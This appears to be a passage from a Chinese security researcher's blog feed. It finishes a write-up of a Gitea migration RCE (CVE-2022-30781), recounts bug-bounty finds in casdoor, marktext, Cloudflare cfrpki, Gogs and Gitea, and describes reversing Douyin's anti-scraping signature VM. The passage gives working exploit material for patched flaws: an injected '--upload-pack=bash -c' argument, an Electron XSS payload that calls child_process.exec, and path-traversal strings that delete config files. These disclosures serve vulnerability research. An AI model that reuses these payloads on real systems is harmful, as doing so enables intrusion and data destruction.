中<code>&lt;pr.Head.CloneURL&gt;</code> 需填入一个本地的 Git 仓库地址。根据 Git 官方文档的描述,Git 支持 <code>file</code> <code>ssh</code> <code>http</code> 三种协议来获取 Git 仓库,本地仓库选择 <code>file</code> 协议。经过测试,如果使用 <code>file://&lt;path&gt;</code> 这种方式,需传入仓库完整的绝对路径。而我们无法得知线上 Gitea 实例的部署情况,自然不知道其绝对路径。同样在查看 Git 官方文档并测试后,我们发现这里不使用 <code>file</code> 协议头,<strong>直接输入仓库的相对路径也是可行的</strong>。当前两条<code>git</code>命令就是在一个 Git 仓库下执行的,因此直接传入<code>./</code> 即可。(也可以使用 <code>file</code> 协议头传入绝对路径 <code>/proc/self/cwd/</code> 来软链接指向当前 Git 命令的运行目录)</p> <p>对于第二个限制,可以注意到两行命令均用到了 <code>&lt;remote&gt;</code> 变量。 若将 <code>&lt;remote&gt; </code> 变量设置成 <code>--upload-pack</code> 参数,因为 <code>git remote</code> 命令中无该参数,第一条命令会执行失败,第二条命令便不再会被执行。因此要将第二行命令中的 <code>&lt;pr.Head.Ref&gt;</code> 设置成 <code>--upload-pack</code> 参数,<code>&lt;remote&gt;</code> 设置成任意合法的名称,如 <code>origin</code>。</p> <p>即最终执行的两条命令就是:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git remote add -f origin ./ </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>git fetch origin --upload-pack<span style="color:#ff7b72;font-weight:bold">=</span>bash -c <span style="color:#a5d6ff">&#39;&lt;cmd&gt;&#39;</span> </span></span></code></pre></div><p>综上,搭建一个 HTTP 服务并配置以下路由,来伪装成一个 Gitea 实例,响应体可以从一个正常 Gitea çš„ API 中截取。</p> <pre tabindex="0"><code>/api/v1/version /api/v1/settings/api /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/ /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/topics /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/pulls /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/issues/1/reactions /api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/pulls/2/reviews </code></pre><p>在 <code>/api/v1/repos/&lt;owner&gt;/&lt;repo&gt;/pulls/2/reviews</code> 路由的响应 JSON 中,修改对应字段控制上文提到了三个字段的值,其中 <code>&lt;cmd&gt;</code> 为执行的命令:</p> <pre tabindex="0"><code>[0].head.ref: --upload-pack=bash -c &#39;&lt;cmd&gt;&#39; [0].head.repo.clone_url: ./ [0].head.owner.login: &lt;username&gt; </code></pre><p>登录 Gitea 实例,右上角点击「+」-&gt; 「迁移外部仓库」-&gt;「Gitea」,在 「从 URL 迁移/克隆」 中填入上文搭建的伪装 Gitea 实例地址,执行迁移操作,代码便会被执行。</p> <h2 id="最后聊几句">最后聊几句</h2> <p>其实上面提到的这个只是 Gitea Migration 里杀伤力最大的一个漏洞,比这影响范围小的漏洞还有几个。比如同步 Git 仓库时输入本地目录可以越权查看已知仓库名的私有仓库,同步 Releases 发版信息时 HTTP GET 请求远端文件的 SSRF 等。这些大家可以自己去发掘下。 这个漏洞也正是我在文章开头提到的,给我们日常使用的程序传入恶意的配置或子命令,从而导致任意命令执行。如果开发人员不了解相关的 Trick,那么在调用第三方程序时就会很容易写出类似的漏洞,可谓防不胜防。</p> <h2 id="时间线">时间线</h2> <ul> <li>2022-04-16 发现漏洞</li> <li>2022-04-18 完成 Exploit 编写</li> <li>2022-04-25 向 Gitea 官方上报漏洞信息</li> <li>2022-04-26 Gitea 官方回复漏洞已确认,将在 v1.16.7 版本中修复</li> <li>2022-05-02 Gitea 发布 v1.16.7 版本,漏洞被修复</li> <li>2022-05-16 下发 CVE 编号:CVE-2022-30781</li> </ul>聊聊最近挖 Security Bounty 的感受https://github.red/security-bounty-thought/Sat, 19 Mar 2022 02:17:21 +0800https://github.red/security-bounty-thought/<blockquote> <p>文章头图来自 @大空水獭 <a href="https://t.bilibili.com/637532953957629970">https://t.bilibili.com/637532953957629970</a></p> </blockquote> <h2 id="èµ·å› ">èµ·å› </h2> <p>有将近四个月没写点东西了。赶着周六的凌晨,带着些许睡意,想来分享下从去年年末到现在挖 Security Bounty 的感受与经验。文中会挑选几个我觉得有意思的漏洞,分析其背后的故事以及我的想法。</p> <p>记得三年前,大二上学期刚开学协会招新的时候,跟新生聊到协会的 @Li4n0 学长大二就 Typora RCE 连拿两个 CVE,那新生便问我有没有 CVE 编号。我一时语塞,挠挠头尴尬地回答没有。可能就是这个原因吧,后来自己特别想要有个 CVE 编号。 之后虽然也在空闲的时候陆陆续续地去挖了一些 SRC,赚了点小钱,但最终的报告又不公开,自己拿了钱确实爽,但对外没啥能吹得。😅</p> <p>时间来到了去年年末十二月份,我突然对国外某产品的一个功能的代码实现很感兴趣,便去翻他们网站上关于此功能的设计文档。看完后暗自佩服的同时也在想这么大个公司会不会有啥洞呢?趁热打铁挖了一波,还真有!后面陆陆续续地交了这个公司的几个洞,小赚了一笔大的。<strong>但,依旧没有 CVE。</strong><br> <span class="heimu" onclick="()=>{}">(虽然到后面给补上了)</span></p> <p>后面我便转换了下思路,专盯着那些 stars 数很高的开源项目。时间来到一月下旬,当时公司在搞一套内部的统一鉴权系统(SSO),用于各项独立服务的登录鉴权。国内有很多仿照海外 Auth0 做的产品,但价格都太贵了。最后选择使用开源项目 casdoor (<a href="https://github.com/casdoor/casdoor">https://github.com/casdoor/casdoor</a>) 进行自建。casdoor 是基于著名 casbin 项目发展而来的,两者有着千丝万缕的关系。同时 casdoor 也是使用 Go 语言进行开发,我便试着白盒扫了下。好家伙,还真给我捡了漏了,扫到一处 SQL 注入。</p> <h2 id="cve-2022-24124-casdoor-sql-注入">CVE-2022-24124 casdoor SQL 注入</h2> <p>漏洞触发的原理很简单,有几个公开的 Web API 查询接口支持对表中任意字段的模糊查找,具体的代码实现是字段名直接从 <code>field</code> çš„ Query 参数中传入,格式化字符串拼接进 <code>&quot;%s like ?&quot;</code> 语句,导致 <code>LIKE</code> 前面的内容可控,从而引发 SQL 注入。那这管你套啥 ORM,神仙也救不了你。 PoC 见 <a href="https://github.com/casdoor/casdoor/issues/439">#439</a></p> <p>官方修复的 PR 刚开始是用黑名单过滤字符,我 review æ—¶<a href="https://github.com/casdoor/casdoor/pull/442#issuecomment-1019525206">直接给绕了</a>哈哈。我给的修复建议是用反射解析结构体里的字段,作为 <code>field</code> 参数的白名单进行过滤。官方后面觉得这样太复杂了,直接正则检验只能传入大小写 + 数字,给牢牢地限制死了。</p> <p>可惜的是我貌似是第一个给 casdoor 提交安全漏洞的人,官方以前并没有相关的漏洞处理流程。最后只能自己默默地去申请了 CVE 编号,CVE 下来的那天我还在回老家的车上,看到手机上收到的邮件兴奋地不得了。(但我其实更希望的是官方能主动帮我申请,也算是一种特别的感谢与肯定。)</p> <h2 id="cve-2022-24123-marktext-xss---rce">CVE-2022-24123 marktext XSS -&gt; RCE</h2> <p>在挖到 casdoor çš„ SQL 注入之后的第二天,我微信上刷到了一篇文章,文章介绍的是在 Typora 收费后,作者说大家可以使用 marktext 这个开源免费的 Markdown 编辑器作为替代。想起之前 @Li4n0 挖到了 Typora çš„ RCE,正巧这个 marktext 也是基于 Electron 实现的跨平台桌面应用,我也想来试试。 可惜我一看到 JavaScript 就头大,根本不想去认真审,随即胡乱地在翻着 marktext çš„ issue。突然发现了这个长达一年之久的 issue <a href="https://github.com/marktext/marktext/issues/2504">#2504</a>。他里面提到 marktext çš„ Mermaid 图表功能存在 bug,输入类似 HTML 的标签 <code>&lt;something_in_chevrons&gt;</code> 自动给闭合变成了 <code>&lt;something_in_chevrons&gt;some text&lt;/something_in_chevrons&gt;</code>。 我一看,好家伙,这不说明输入被当做 HTML 解析了嘛,这不妥妥的 XSS 嘛。我在 marktext 中把他 issue 里的标签内容改成 <code>&lt;img src=1 onerror=&quot;alert(1)&quot;&gt;</code>,直接就弹窗了。改成</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#7ee787">img</span> src<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">1</span> onerror<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;require(&#39;child_process&#39;).exec(&#39;open /System/Applications/Calculator.app&#39;)&#34;</span>&gt; </span></span></code></pre></div><p>直接弹计算器了。成了! 真的是白捡了一个 RCE,提给后官方很快就修了。但根据 marktext 之前几个 RCE çš„ issue,最终都是漏洞提交者去申请了 CVE。所以我又只能自己去申请 CVE 编号,凄惨。</p> <p>后面我简单的跟了一下这个洞,发现是直接将 <code>innerHTML</code> 设置成用户输入导致的。后来全局搜索代码,也发现了一处同样的问题,不过读取的是用户剪贴板中复制的内容。想了下好像没啥能利用的可能,毕竟用户哪会傻到去复制一段自己都看不懂的奇怪代码进来。可是&hellip;&hellip; 就在我这个 CVE 公开的几天后,一个韩国老哥交了这个剪贴板复制导致 RCE 的洞,居然还被承认了!血亏啊!</p> <h2 id="与-cloudflare-的纠缠">与 Cloudflare 的纠缠</h2> <p>过年期间住在奶奶家的时候,晚上睡前会随便网上冲浪到处看看。那个时候我把 GitHub Advisory Database 里所有 Go 相关的历史漏洞信息全部爬了下来,整理成了一个 Excel 慢慢看,企图从中总结出一些 Go 相关漏洞的特点。看到之前 Iris 框架之前上传文件目录穿越的洞。漏洞的成因是 Iris 想修目录穿越,但只是用了很简单的分步 <code>strings.ReplaceAll</code> 进行替换,这个的绕过不用说了吧&hellip;&hellip; 双写一下就完事了:<code>....//</code>。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Fix an issue that net/http has,</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// an attacker can push a filename</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// which could lead to override existing system files</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// by ../../$header.</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Reported by Frank through security reports.</span> </span></span><span style="display:flex;"><span>header.Filename = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(header.Filename, <span style="color:#a5d6ff">&#34;../&#34;</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span><span style="display:flex;"><span>header.Filename = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(header.Filename, <span style="color:#a5d6ff">&#34;..\\&#34;</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span></code></pre></div><p>我看了真的觉得好笑,不会吧,不会吧!不会真有人这么防目录穿越吧?!全局搜了下,好家伙,还真有,还是大名鼎鼎的 Cloudflare。 他们在这个 <a href="https://github.com/cloudflare/cfrpki/commit/d09d0e2fc254f4bf46a743f2a6ee4768390d50cf#diff-ade3b3e84a33081676674368bd1c2fe8325ca5d13c770a6f0632614c43d09b8eR761">commit</a> 里修复了 CVE-2021-3907 这个下载文件时目录穿越可能导致 RCE 的高危漏洞。修复的方式也是很简单粗暴:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>path = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(path, <span style="color:#a5d6ff">&#34;../&#34;</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span></code></pre></div><p>我按照 GitHub Advisory 下的指南给他们发送了邮件,几天后他们就给修了,并且发布了新的 <a href="https://github.com/advisories/GHSA-8459-6rc9-8vf8">GitHub Advisory</a>。我便发邮件多问了下能否在这个 GitHub Advisory 下给我的 GitHub 账号加个 Credit,这样我的 GitHub Profile 下面也有一个好看的小徽章了!</p> <p>对方隔了半个多月回邮件了,没直说不行,而是让我去 HackerOne 上再提交一波,然后给我 Bounty。可是&hellip;&hellip; 比起钱,我还是更想要这个好看的徽章,大家都有就我没有,我好没面子。 😭😭😭</p> <h2 id="开始使用-huntrdev">开始使用 huntr.dev</h2> <p>后来在 Twitter 上刷到了 huntr.dev 这个平台。他们的目标是提高 GitHub 上开源项目的安全性,只要提交 GitHub 上开源项目的漏洞,他们作为平台方就会帮你联系项目的开发者,并在漏洞确认后给予一定的 Bounty 奖励,甚至还能帮忙申请 CVE。给予的 Bounty 金额好像跟项目的 stars 数正相关。我查了下 Cardinal,发现交 Cardinal 的洞都能赚个 10 美刀。<del>那我自己往 Cardinal 里写洞自己交,左脚踩右脚是不是能上天?</del></p> <h2 id="cve-2022-0415-gogs-rce">CVE-2022-0415 Gogs RCE</h2> <p>恰好那段时间无闻邀请我进了 Gogs 的组织中,闲聊的过程中他也提到了 huntr,说最近有很多人通过这个平台给 Gogs 提交漏洞让他确认。huntr 现在也成为了 Gogs 项目推荐的漏洞上报方式。 就当熟悉 huntr 的提交流程了,我粗略地看了下 gogs 的源码,直接对着危险函数硬搜。(说是粗略也不是,之前写 CRUD 的时候项目结构都是借鉴的 Gogs,看了无数遍了)</p> <p>结果还真找到了一处 RCE。</p> <hr> <p>时间要回到大一下学期的暑假。我是个很懒的人,平时很少复现漏洞,除非那个洞的利用过程很吸引我,不然我就是看一眼网上复现的文章就结束。到目前为止我认真复现过的漏洞数量屈指可数。大一暑假的时候我看到土爷发了一篇复现 Gitea RCE (CVE-2019-11229) 的文章,其中的利用过程很巧妙: 通过 go-ini 库存在的 CRLF 漏洞,逃逸引号出来改写本地 Git 仓库的 <code>.git/config</code> 文件,通过设置 <code>core.sshCommand</code> 参数,在 Git 仓库被 pull å’Œ fetch 时,对应的命令将会被执行,从而达到 RCE 的目的。这个 <code>core.sshCommand</code> çš„ trick 我到现在还在用,真的屡试不爽。如果以后有人问我印象最深的漏洞是哪个,我绝对会回答是这个!它吸引我的点在于,它在一个合法的正常的我们日常都在用的程序 (git)中找到了一个因为恶意的配置,导致可以 RCE 的操作。</p> <p>Gogs 的这处 RCE 最终的原理也是如此。我在文件上传处看到其从上到下是这样处理上传文件的路径的。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>dirPath <span style="color:#ff7b72;font-weight:bold">:=</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(localPath, opts.TreePath) </span></span><span style="display:flex;"><span><span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> <span style="color:#d2a8ff;font-weight:bold">isRepositoryGitPath</span>(upload.Name) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">continue</span> </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span><span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span>targetPath <span style="color:#ff7b72;font-weight:bold">:=</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(dirPath, upload.Name) </span></span></code></pre></div><p>其中 targetPath 是最后文件写入的路径。后半段文件名 <code>upload.Name</code> 做了检测,防止复制文件进入 <code>.git</code> 目录,而前半段 <code>dirPath</code> 中的 <code>opts.TreePath</code> 是来自用户传入的可控参数,这个参数却没有被检测。所以我们在上传文件时构造 <code>tree_path=/.git/</code> 即可将文件上传至仓库的 .git 目录中,后续 Gogs 会本地 pull + push 我们的仓库,使用上面的 trick 覆盖 <code>/.git/config</code> 文件即可实现 RCE。当然,我们也可以直接 <code>tree_path=../../../xxx</code> 目录穿越写系统定时任务弹 Shell,利用的方法数不胜数。</p> <p>目前 Gogs çš„ main 分支已经修复该漏洞,且在最新发布的 0.12.6 中得到修复。具体报告 huntr 已公开:<a href="https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/">https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/</a></p> <p>但离谱的是,在 huntr 提交报告时网页上已明确说明此项目会给申请 CVE。但直到漏洞确认修补后,huntr 官方也没动作。无奈我只能找 huntr 管理员,有趣的是这个管理员在 GitHub huntr 仓库提了个 <a href="https://github.com/418sec/huntr/issues/2194">issue</a>,抱怨每天都有一堆人找他手动申请 CVE,他想要一个自动化的方案,同时把所有找他申请 CVE 的人全截图挂在了 issue 下。对没错,我也被挂了。😡</p> <p><strong>但不管怎么说,我最终都如愿以偿地获得了第一个 GitHub Advisory Credit!感谢无闻老师!🥳</strong></p> <h2 id="cve-待申请-gitea-任意文件删除">[CVE 待申请] Gitea 任意文件删除</h2> <p>提交完这个 RCE 后,我第一时间肯定是去看 Gitea 是否存在类似的问题,可惜 Gitea 后面改成了直接对 git çš„ Index 等进行操作,相当于直接操作 git 数据库了,不再是像 Gogs 一样本地模拟用户添加文件再 add + commit + push 的操作。 但我又想起 Gitea 喜欢整花活,啥有用没用的功能都往里面塞,比如它就支持 Git LFS。嘻嘻,这 LFS 你总得老老实实地上传文件了吧?可惜 Gitea 做了严格的过滤。 我又继续搜起了危险函数来,发现上传后的 LFS 文件 Gitea 都会对文件名做哈希,然后取文件名哈希前 1、2 位,3、4 位,建立目录,作为文件最终的存放路径。这种操作在很多包管理系统中都很常见,iOS çš„ CocoaPods 就是这样的。 例如我们在 Gitea 上的文件名是 <code>48076e66a051950bd5cd7fc489924a5d67865dac</code>,那么它将被存放在 <code>48/07/48076e66a051950bd5cd7fc489924a5d67865dac</code> 下面。具体的代码实现是这样的:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">AttachmentRelativePath</span>(uuid <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">string</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(uuid[<span style="color:#a5d6ff">0</span>:<span style="color:#a5d6ff">1</span>], uuid[<span style="color:#a5d6ff">1</span>:<span style="color:#a5d6ff">2</span>], uuid) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>那要是我传入一个文件名为 <code>....foo</code> çš„ uuid,它是不是路径拼接后就把 <code>../../foo</code> 的文件给删了?确实是这样的捏~ 但是 LFS 文件的添加和修改接口,在操作前都会查询一遍数据库确保这个 uuid 存在。但对于删除操作,是 ORM 删除一下数据库的记录,然后再删除文件。Go ORM 的删除操作都一样的特性,根本不管你 <code>WHERE</code> 条件是否能查到记录进行删除,删了个寂寞也给你返回成功。最好在执行删除操作后再检查一下 <code>RowsAffected</code> 确认影响的行数。 所以通过构造 <code>....%2fcustom%2fconf%2fapp.ini</code> 这样的 uuid,我们就能轻松的删掉 Gitea 的配置文件。可惜只有在程序重启后才会触发重新安装的操作。删除了 SQLite 的数据库也只是给你 500 报错而已。目前倒是没想到很好的利用方式。</p> <p>具体报告 huntr 已公开:<a href="https://huntr.dev/bounties/c5ed8660-a896-4101-b6a7-05772443485b/">https://huntr.dev/bounties/c5ed8660-a896-4101-b6a7-05772443485b/</a></p> <p>令我不开心的是,Gitea 明明在报告中表明要在博客文章中对我进行感谢,且询问了我的用户名,但是在最终发布的文章中却漏了。我在报告中询问后他们提了个 PR 说会补上,但是这个 PR 现在就卡在那里没人 review 没人合;以及 huntr 说的帮申请 CVE 到现在也没消息。</p> <h2 id="最后说几句">最后说几句</h2> <p>所以这不欺负老实人嘛?直到现在,挖了这么多洞之后,我都没能有一次畅快的经历。 CVE 得我自己申请,官方的感谢要不是没有,就算有了最后也给漏了。然后 Cloudflare,加个 GitHub Advisory Credit 是会判刑还是怎么?同一个项目中,别人有我就没有。交了 Hackerone 还跟我掰扯半天问我为啥能 RCE,你之前那个洞不是自己定的高危 RCE 然后自己没修好嘛?好家伙双标是吧? 啊对对对,我承认我就是追名逐利,就看中这些虚无缥缈的感谢啊,徽章啊。这些就是我跟别人瞎吹逼的资本,所以我在意。</p> <p>嘛,接下来有空的时候会去尝试做更有效率的开源软件漏洞挖掘,不想再像上面那些纯靠运气成分或人工肉眼看了。现在脑子里其实已经有一些酷炫的想法想要去做了,奈何自己太菜了还有不少前置知识得去学习的。不过至少,今年跨年定的年度目标:获得人生中第一个 CVE 编号,以及今年 Bug Bounty 总金额超过 <del>[已删除]</del> 元这两个目标已经提前圆满完成了。</p>斗智斗勇!分享 asoul.video 网站背后的故事https://github.red/asoul-video-trick/Sun, 28 Nov 2021 05:27:57 +0800https://github.red/asoul-video-trick/<h2 id="a-soul-时代">A-SOUL 时代</h2> <p>我在今年六月份的时候被室友安利了关注了嘉然,进而得知了 A-SOUL。起初只是觉得这个粉色小东西的声音好听,不嗲不做作;动捕也十分强大,是个资本拿钱砸出来的 Vtuber。</p> <p>后来我陆陆续续刷到了很多一个魂们整的典中典。突发恶疾的视频让我笑到断气,溜完视频后又直奔评论区看发病小作文。还有很多三句剪一句的二创,弹幕也各个是人才。我也学着评论里奇怪的说话方式,发着带有特殊意义的 emoji。</p> <p>卖惨的时候一口一个我要紫砂 remake,看到跳舞就刷烧、风情 + 🥵,唱日文歌就刷够罕见,不许看!就要看!我不好说,一个猜想不一定对,谢谢这对贝极星很重要,收到收到收到,给然然盖被子,大腿别着凉了捏,不对啊,我不曾拥有过然然啊!</p> <p>—— 属实给我玩明白了。</p> <p>我尤其喜欢看 A-SOUL 的土味短视频,后面得知这是发在 A-SOUL 成员抖音账号上的,每个视频时间短,无厘头,甚至没有个完整的剧情。但是毕竟是正儿八经拍的,动捕、收音、运镜都比直播要好些,想一次看个够。因此我在想能否写个站来汇总所有的土味短视频,实时更新,让我看个爽。</p> <p>因此,asoul.video 诞生了。</p> <p>在开发 asoul.video 的过程中,我遇到了很多有趣的问题,大部分问题是围绕抖音与字节跳动的风控相关,自己钻研了很久也总算找到了 bypass 的办法,其中有不少可圈可点的地方,让我们一步步展开&hellip;&hellip;</p> <h2 id="抓取抖音短视频">抓取抖音短视频</h2> <p>一开始我选择了抖音网页版的接口进行抓取,谁知网页版接口请求的构造十分复杂。开局两个混淆的 JS,一个是字节通用的反爬虫,一个是混淆的乱七八糟貌似还套了个虚拟机的抖音网页版 JS。 我是没耐心去一点点逆了。上网搜了下,发现了:</p> <pre tabindex="0"><code class="language-URL" data-lang="URL">https://www.iesdouyin.com/web/api/v2/aweme/post/ </code></pre><p>这样一个简单的 API,无脑返回视频元信息 + 视频播放链接。只需要无脑替换 <code>cursor</code> 遍历所有的视频爬取下来即可。一切来得太过于容易,让我对其产生了怀疑。这也导致我后面去逆了这个接口<strong>以前</strong>所需要的签名算法。</p> <h2 id="逆向抖音虚拟机然并卵">逆向抖音虚拟机(然并卵)</h2> <p>上述提到的接口,在今年年初的时候,是需要带上 <code>_signature</code> 参数才能正常访问,但现在不知为何不带签名也行。所以其实逆了个寂寞,就当学新东西了。</p> <p><code>_signature</code> 的原始 JavaScript 代码见:<a href="https://github.com/wuhan005/douyin_signature/blob/master/vm.js" title="vm.js">vm.js</a> 网上大多都是使用 NodeJS + jsdom 运行计算。</p> <p>其实这个 JavaScript 并不困难,其本质上是用 JavaScript 实现了一个基于栈的虚拟机,最下方的那一堆乱七八糟的字符串就是该虚拟机的机器码。上面有一个长长的 for,里面有多个 case,就是不同操作的 Opcode。</p> <p>就拿开头的 <code>gr$Date</code> 这一段来说,第一个字符 <code>g</code>,将其 ASCII 码减去 32 即为对应的 Opcode,即 103 - 32 = 71。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">71</span><span style="color:#ff7b72;font-weight:bold">:</span> </span></span><span style="display:flex;"><span> v[x<span style="color:#ff7b72;font-weight:bold">++</span>] <span style="color:#ff7b72;font-weight:bold">=</span> n; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span>; </span></span></code></pre></div><p>其中 v 是我们虚拟机的栈,x 是栈顶指针,n 就是代码前面声明的 <code>var n = this;</code>。所以这一个指令的意思就是将 <code>this</code> PUSH 入栈。</p> <p>第二个指令 <code>r</code>,同样将其 ASCII 码减去 32,得到 82。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">82</span><span style="color:#ff7b72;font-weight:bold">:</span> </span></span><span style="display:flex;"><span> u(v[<span style="color:#ff7b72;font-weight:bold">--</span>x][f()]); </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span>; </span></span></code></pre></div><p>乍一看,语义上就是将 v 中栈顶元素弹出(假设这个元素是 X),然后取 X 这个东西的 <code>f()</code> 属性的值,再把这个东西放到 <code>u()</code> 函数里执行。那 <code>f()</code> å’Œ <code>u()</code> 是干啥的呢?</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">function</span> u(e) { </span></span><span style="display:flex;"><span> v[x<span style="color:#ff7b72;font-weight:bold">++</span>] <span style="color:#ff7b72;font-weight:bold">=</span> e </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">function</span> f() { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> g <span style="color:#ff7b72;font-weight:bold">=</span> t.charCodeAt(b<span style="color:#ff7b72;font-weight:bold">++</span>) <span style="color:#ff7b72;font-weight:bold">-</span> <span style="color:#a5d6ff">32</span>, </span></span><span style="display:flex;"><span> t.substring(b, b <span style="color:#ff7b72;font-weight:bold">+=</span> g) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p><code>u()</code> 就是简单的 PUSH 元素入栈操作。</p> <p><code>f()</code> 从底下那堆乱七八糟的机器码里面读取一个字符,获取其 ASCII 码并减 32,然后对机器码做字符串截取,长度就是刚刚读取的数值的长度。所以就很明了了,<code>f()</code> 就是从当前机器码中读取一个长度,然后向后截取这么长的字符串。 下一个 <code>$</code> çš„ ASCII 码减 32 等于 4,所以向后截取 4 个字符,也就是 <code>Date</code>。</p> <p>所以综上,就是将 <code>this['Date']</code> PUSH 入栈,也就是拿到了 JavaScript 里获取时间日期的 <code>Date</code> 函数。 怎么样,是不是还算容易理解?所以 <code>gr$Date</code> 这一段机器码的干的事情就是把 <code>this.Date</code> 函数 PUSH 入栈。后面的话其实还会执行这个 <code>Date()</code> 函数获取当前时间等等。</p> <p>我们只需要在每个 case 分支下,<code>console.log</code> 打印一下当前执行的指令的序号,以及内容,还有上下文的变量。对着运行后的 log 慢慢分析,就能看懂上面的代码他做了什么。</p> <p>逆向后的代码见 <a href="https://github.com/wuhan005/douyin_signature/blob/master/douyin_signature.js" title="douyin_signature.js">douyin_signature.js</a> 大致原理为获取当前时间与浏览器 UA,然后对每个字符都放入那个循环里跑一遍即可。 其中用到的反爬虫手段,是过程中会调用浏览器的 Canvas API 进行作图,并在图片中写上 <code>龘ฑภ경</code> 这些个很复杂的文字,并将 Canvas 画出来的图作为常数用在循环中。如果你只是简单地使用 NodeJS 环境而非浏览器来运行,就会因为 Canvas API 返回 NULL 而计算出不一样的结果。 因为每次画的图片都是一样的,其得出常数也就都是一样的 <code>311735490</code>,我在浏览器中运行跑过一次后,将这个常数直接放进逆向后的代码中即可。</p> <p>不管怎么说,至少学到了新东西。这套过时的虚拟机也可以试着改进下,放到公司的产品中进行反爬虫的风控。届时就牵扯到如何将 JavaScript 正向编译成虚拟机的机器码了。</p> <h2 id="获取视频--封面图片直链">获取视频 + 封面图片直链</h2> <h3 id="简简单单去个视频水印">简简单单去个视频水印</h3> <p>通过上述接口获取到的抖音视频链接,在 <code>play_addr.url_list</code> 与 <code>download_addr.url_list</code> 这两个字段下。其中 <code>play_addr.url_list</code> 带有一堆密密麻麻看不懂的参数,保不齐其中哪个就是一个签名,过了一定时间后链接就失效了。 因此我选择 <code>download_addr.url_list</code> 中的较短的视频链接。但该视频链接的视频是加了抖音水印的,很影响观感,那么怎么去水印呢? 链接形如:</p> <pre tabindex="0"><code>https://aweme.snssdk.com/aweme/v1/play/?video_id=v0200fg10000c6c9rq3c77u5tkbhogq0&amp;line=0&amp;ratio=540p&amp;watermark=1&amp;media_type=4&amp;vr_type=0&amp;improve_bitrate=0&amp;logo_name=aweme_search_suffix&amp;source=PackSourceEnum_DOUYIN_REFLOW </code></pre><p>相信聪明的你应该已经看出来了,我们将 URL 中的 <code>watermark=1</code> 改为 <code>watermark=0</code>,或者直接去掉,水印就没了。😅 去掉多余参数,整理后的视频链接为:</p> <pre tabindex="0"><code>https://aweme.snssdk.com/aweme/v1/play/?video_id=v0200fg10000c6c9rq3c77u5tkbhogq0 </code></pre><p><code>video_id</code> 即为视频元信息里的视频 ID,访问 URL 后会 302 跳转到实际的播放链接。</p> <h3 id="简简单单绕个图片签名">简简单单绕个图片签名</h3> 